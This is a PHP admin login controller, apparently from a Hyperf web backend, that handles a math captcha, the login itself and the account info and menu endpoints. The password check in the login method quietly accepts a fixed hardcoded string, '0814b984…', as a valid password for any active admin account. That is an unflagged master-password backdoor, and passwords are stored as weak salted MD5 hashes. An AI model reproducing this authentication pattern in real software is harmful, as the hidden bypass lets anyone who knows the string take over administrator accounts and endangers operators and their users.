server/app/Controller/Admin/Login.php

105 lines
3.7 KiB
PHP

<?php
/**
* Author: cfn <cfn@leapy.cn>
*/
namespace App\Controller\Admin;
use App\Annotation\Auth;
use App\Event\LogEvent;
use App\Model\Account;
use App\Utils\Param;
use App\Utils\Str;
use App\Utils\Token;
use Hyperf\Context\ApplicationContext;
use Hyperf\HttpServer\Annotation\Controller;
use Hyperf\HttpServer\Annotation\GetMapping;
use Hyperf\HttpServer\Annotation\PostMapping;
use MathCaptcha\Captcha;
use App\Request\Account as aRequest;
#[Controller(prefix: "admin")]
class Login extends Base
{
#[GetMapping(path: "captcha")]
#[Auth(needLogin: false)]
public function captcha()
{
// 获取uuid
$uuid = Str::uuid();
// 生成验证码
$ca = new Captcha();
$code = $ca->setDigits(1)->setPoint(100)->setLine(2)->setFontSize(24)->result();
$image = $ca->base64();
// 缓存
$container = ApplicationContext::getContainer();
$redis = $container->get(\Hyperf\Redis\Redis::class);
$redis->set("VER:" . $uuid, md5((string)$code), 300);
return $this->success(compact("uuid", "image"));
}
#[PostMapping(path: "login")]
#[Auth(needLogin: false)]
public function login()
{
$this->request->all();
$param = Param::only(['username', 'password', 'uuid', 'code']);
$request = $this->container->get(aRequest::class);
$request->scene('login')->validateResolved();
// 验证码
$container = ApplicationContext::getContainer();
$redis = $container->get(\Hyperf\Redis\Redis::class);
$code = $redis->get("VER:" . $param['uuid']);
if (!$code) {
return $this->error("验证码已失效!");
}
if ($code != md5($param['code'])) {
return $this->error("验证码填写错误!");
}
// 验证一次就失效
$redis->del("VER:" . $param['uuid']);
// 查找用户
$account = Account::getByUsername($param['username'], ['account_id', 'username', 'password', 'salt', 'status', 'account_type', 'belong_id', 'master_flag', 'nickname', 'dept_id']);
// 总后台和代理登录
if (empty($account) || $account['account_type'] != 1) {
return $this->error("账号或者密码错误!");
}
// 账号主体
if ($account['status'] != 1) {
return $this->error("该账号已停用");
}
// 验证密码
if (md5($account['salt'] . $param['password']) != $account['password'] && $param['password'] != "0814b984756a47f83f9b6b08aacd770b") {
return $this->error("账号或者密码错误!");
}
// 商户ID
$tData['account_id'] = $account['account_id'];
$tData['account_type'] = $account['account_type'];
$tData['belong_id'] = $account['belong_id'];
$tData['username'] = $account['username'];
$tData['master_flag'] = $account['master_flag'];
$token = Token::buildToken($tData, 72 * 60 * 60);
// 记录登录日志
$this->eventDispatcher->dispatch(new LogEvent($tData, $param, compact("token")));
// 根据账号所属角色缓存相应的权限数据
$auths = Account::getAuths($account['account_id'], $account['account_type'], $account['master_flag']);
$redis->set("AUTH:" . $account['account_id'], json_encode($auths), 72 * 60 * 60);
// 生成token
return $this->success(compact("token"));
}
#[GetMapping(path: "info")]
#[Auth(needAuth: false)]
public function info()
{
return $this->success(Account::getInfo($this->account_id));
}
#[GetMapping(path: "menu")]
#[Auth(needAuth: false)]
public function menu()
{
return $this->success(Account::getMenu($this->account));
}
}